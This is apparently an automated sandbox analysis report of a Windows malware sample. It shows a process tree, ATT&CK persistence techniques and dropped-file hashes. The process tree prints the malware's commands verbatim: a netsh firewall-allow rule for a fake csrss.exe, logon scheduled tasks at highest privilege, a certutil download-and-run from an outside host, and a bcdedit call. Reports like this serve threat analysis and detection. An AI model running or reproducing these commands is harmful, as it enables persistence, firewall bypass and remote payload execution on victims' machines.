The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2208 -
C:\Users\Admin\AppData\Local\Temp\7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe"2⤵
- Windows security bypass
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Checks for VirtualBox DLLs, possible anti-VM trick
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2620 -
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
PID:1888 -
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies Windows Firewall
- Modifies data under HKEY_USERS
PID:2732 -
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
- Manipulates WinMonFS driver.
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2476 -
C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
PID:1908 -
C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://gfixprice.space/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
PID:2804 -
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1892 -
C:\Windows\system32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v4⤵
- Modifies boot configuration data using bcdedit
PID:608
-
C:\Windows\system32\makecab.exe"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20240528164407.log C:\Windows\Logs\CBS\CbsPersist_20240528164407.cab1⤵
- Drops file in Windows directory
PID:2668
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Replay Monitor
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Downloads
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Filesize
914B
MD5e4a68ac854ac5242460afd72481b2a44
SHA1df3c24f9bfd666761b268073fe06d1cc8d4f82a4
SHA256cb3ccbb76031e5e0138f8dd39a23f9de47ffc35e43c1144cea27d46a5ab1cb5f
SHA5125622207e1ba285f172756f6019af92ac808ed63286e24dfecc1e79873fb5d140f1ceb7133f2476e89a5f75f711f9813a9fbb8fd5287f64adfdcc53b864f9bdc5
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Filesize
68KB
MD529f65ba8e88c063813cc50a4ea544e93
SHA105a7040d5c127e68c25d81cc51271ffb8bef3568
SHA2561ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184
SHA512e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa
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Filesize
1KB
MD5a266bb7dcc38a562631361bbf61dd11b
SHA13b1efd3a66ea28b16697394703a72ca340a05bd5
SHA256df545bf919a2439c36983b54cdfc903dfa4f37d3996d8d84b4c31eec6f3c163e
SHA5120da8ef4f8f6ed3d16d2bc8eb816b9e6e1345dfe2d91160196c47e6149a1d6aedaafadcefd66acdea7f72dcf0832770192ceac15b0c559c4ccc2c0e5581d5aefc
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C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\3C428B1A3E5F57D887EC4B864FAC5DCC
Filesize252B
MD5e80070c8ddf41dfda40db49e192cbe67
SHA19ab8c39c826f2892b9cbb48c3df4b218660d5336
SHA256d5243b2817e268d242c3a6183aef85b2db274ea64a026decf79c91864b2d7ec6
SHA5128a7d967291fcf4b52e3a4d621412af1f95d2799e6abe127a6f13f894c5115f28ecaaee71923f65b927681f5e44628625a30d8e998cea056dd0ca08e9bb9d0f81
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C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357
Filesize242B
MD5ab89378262911082f238e8c793763818
SHA1d57124e45704cb77af9886fc6fc385b1e6073667
SHA256e38a91aba64697d4d6dcc2a55be7f88388d2bedda50853f7e173544a1d4dcded
SHA512879940d2424fee593a349dbbdf2f65ae4f3d9b92111671487d82d4a7e64e2b86b75a7b91c2003855a5d33e805a558e634ddb9b62006a78808c922ca2797584b0
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Filesize
177KB
MD5435a9ac180383f9fa094131b173a2f7b
SHA176944ea657a9db94f9a4bef38f88c46ed4166983
SHA25667dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34
SHA5121a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a
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Filesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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Filesize
1.5MB
MD5f0616fa8bc54ece07e3107057f74e4db
SHA1b33995c4f9a004b7d806c4bb36040ee844781fca
SHA2566e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026
SHA51215242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c
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Filesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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Filesize
591KB
MD5e2f68dc7fbd6e0bf031ca3809a739346
SHA19c35494898e65c8a62887f28e04c0359ab6f63f5
SHA256b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4
SHA51226256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579
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Filesize
163KB
MD55c399d34d8dc01741269ff1f1aca7554
SHA1e0ceed500d3cef5558f3f55d33ba9c3a709e8f55
SHA256e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f
SHA5128ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d
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Filesize
3.8MB
MD57da8b9fc5c5a67a06afc0749473f1b6e
SHA17b0c1138015a3a573469e1142e44be65b73979c5
SHA256bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7
SHA5125b9a364aa7cdf6340e709afb5a60eabd045ace1eaeefaa23fd89ede50bd0a51329d69a4afd49ca270ebb80014882ef7728cf72a362a1d0a63d01ba66fa244df7